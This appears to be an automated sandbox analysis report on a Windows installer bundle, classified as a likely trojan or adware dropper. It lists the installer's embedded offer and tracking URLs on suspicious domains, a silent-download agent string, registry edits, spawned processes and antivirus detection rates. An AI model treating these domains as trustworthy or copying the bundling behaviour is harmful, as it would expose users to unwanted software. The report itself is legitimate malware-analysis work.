Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2904657026.00000000005E4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2904657026.000000000065F000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2529&dn=420&spot=1
Source: setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2904657026.0000000000643000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2529&dn=424&spot=4
Source: setup.exe, 00000002.00000002.2904657026.0000000000643000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1670&a=2529&dn=434&spot=6
Source: setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2529&dn=244&spot=3&
Source: setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=365&a=2529&dn=310&spot=5&
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2529&dn=419&spot=2&t=17059
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2529&dn=420&spot=1&t=17059
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2529&dn=424&spot=4&t=17059
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1670&a=2529&dn=434&spot=6&t=17059
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2529&dn=244&spot=3&t=170592
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=365&a=2529&dn=310&spot=5&t=170592
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://goo.gl/fxTiKZ
Source: setup.exe, setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, setup.exe, 00000002.00000000.1758604351.0000000000409000.00000008.00000001.01000000.00000007.sdmp, is-5J49M.tmp.1.dr, is-6A8MO.tmp.1.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, setup.exe, 00000002.00000000.1758604351.0000000000409000.00000008.00000001.01000000.00000007.sdmp, is-5J49M.tmp.1.dr, is-6A8MO.tmp.1.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.000000000099D000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.00000000009A5000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.0000000002531000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2906785537.00000000037BA000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2906785537.00000000037FD000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.0000000002571000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1649961321.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.1.dr	String found in binary or memory: http://restfork.website/bo.php?p=3851&t=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQXp1ciBUcmtlIFlhbWEuZ
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.00000000009A5000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.0000000002571000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1649961321.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.1.dr	String found in binary or memory: http://restfork.website/boa.php
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.000000000099D000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.00000000009A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/boa.phpZ
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/y
Source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://sto.farmscene.website/track_polos.php?tim=1705920717&rcc=US&c=2529&p=0.9
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://sto.farmscene.website/track_polos.php?tim=1705920717&rcc=US&c=2529&p=0.9Inno
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1645153087.0000000002670000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000002.2904470277.00000000024A3000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2906785537.00000000037BA000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2906785537.00000000037FD000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.0000000002571000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1649961321.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.1.dr	String found in binary or memory: http://windactivity.online/bo.php?p=3851&t=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQXp1ciBUcmtlIFlhbW
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: http://www.pcmaintainer.com/privacy
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: https://advancedmanager.io/eula
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: https://advancedmanager.io/privacy-policy
Source: setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/
Source: setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/;
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2904657026.0000000000615000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717InnoDownloadPlugin/1.5/USERAGENT/silentget1023
Source: setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717V
Source: setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717n
Source: setup.exe, 00000002.00000002.2904657026.0000000000615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717u
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.000000000254D000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1649961321.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://destructionheat.site/tracker/thank_you.php?trk=2529
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: https://doc-hosting.flycricket.io/health-tracker-privacy-policy/e1662a21-b082-4dae-bcb0-3abd33859f1c
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: https://legal.opera.com/eula/computers/
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: https://legal.opera.com/privacy/
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1649961321.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.7-zip.org/
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000002.2904470277.0000000002513000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.7-zip.org/03Q
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.0000000002623000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.7-zip.org/03b
Source: setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646190096.0000000002670000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646613143.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000000.1648461302.0000000000401000.00000020.00000001.01000000.00000004.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp.0.dr, is-H6D1D.tmp.1.dr	String found in binary or memory: https://www.innosetup.com/
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: https://www.pcmaintainer.com/eula
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646190096.0000000002670000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646613143.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000000.1648461302.0000000000401000.00000020.00000001.01000000.00000004.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp.0.dr, is-H6D1D.tmp.1.dr	String found in binary or memory: https://www.remobjects.com/ps
Source: setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	String found in binary or memory: https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

Source: unknown

HTTPS traffic detected: 104.21.38.59:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Code function: 2_2_00405042 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

2_2_00405042

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Code function: 2_2_0040323C EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

2_2_0040323C

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

File created: C:\Windows\unins000.dat

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Code function: 2_2_00404853		2_2_00404853
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Code function: 2_2_00406131		2_2_00406131

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-H6D1D.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000000.1644784170.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000002.2904470277.00000000024D8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646613143.000000007FE35000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646190096.0000000002768000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	Binary or memory string: OriginalFileName vs 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal42.troj.winEXE@5/24@3/3

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Code function: 2_2_00404356 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

2_2_00404356

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Code function: 2_2_00402020 CoCreateInstance,MultiByteToWideChar,

2_2_00402020

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

File created: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp

Jump to behavior

Source: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	ReversingLabs: Detection: 41%
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	Virustotal: Detection: 46%

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

File read: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
Source: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp "C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp" /SL5="$20436,832512,832512,C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe"
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
Source: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp "C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp" /SL5="$20436,832512,832512,C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

Window found: window name: TMainForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Automated click: Next

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Static file information: File size 1671997 > 1048576

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb- source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr
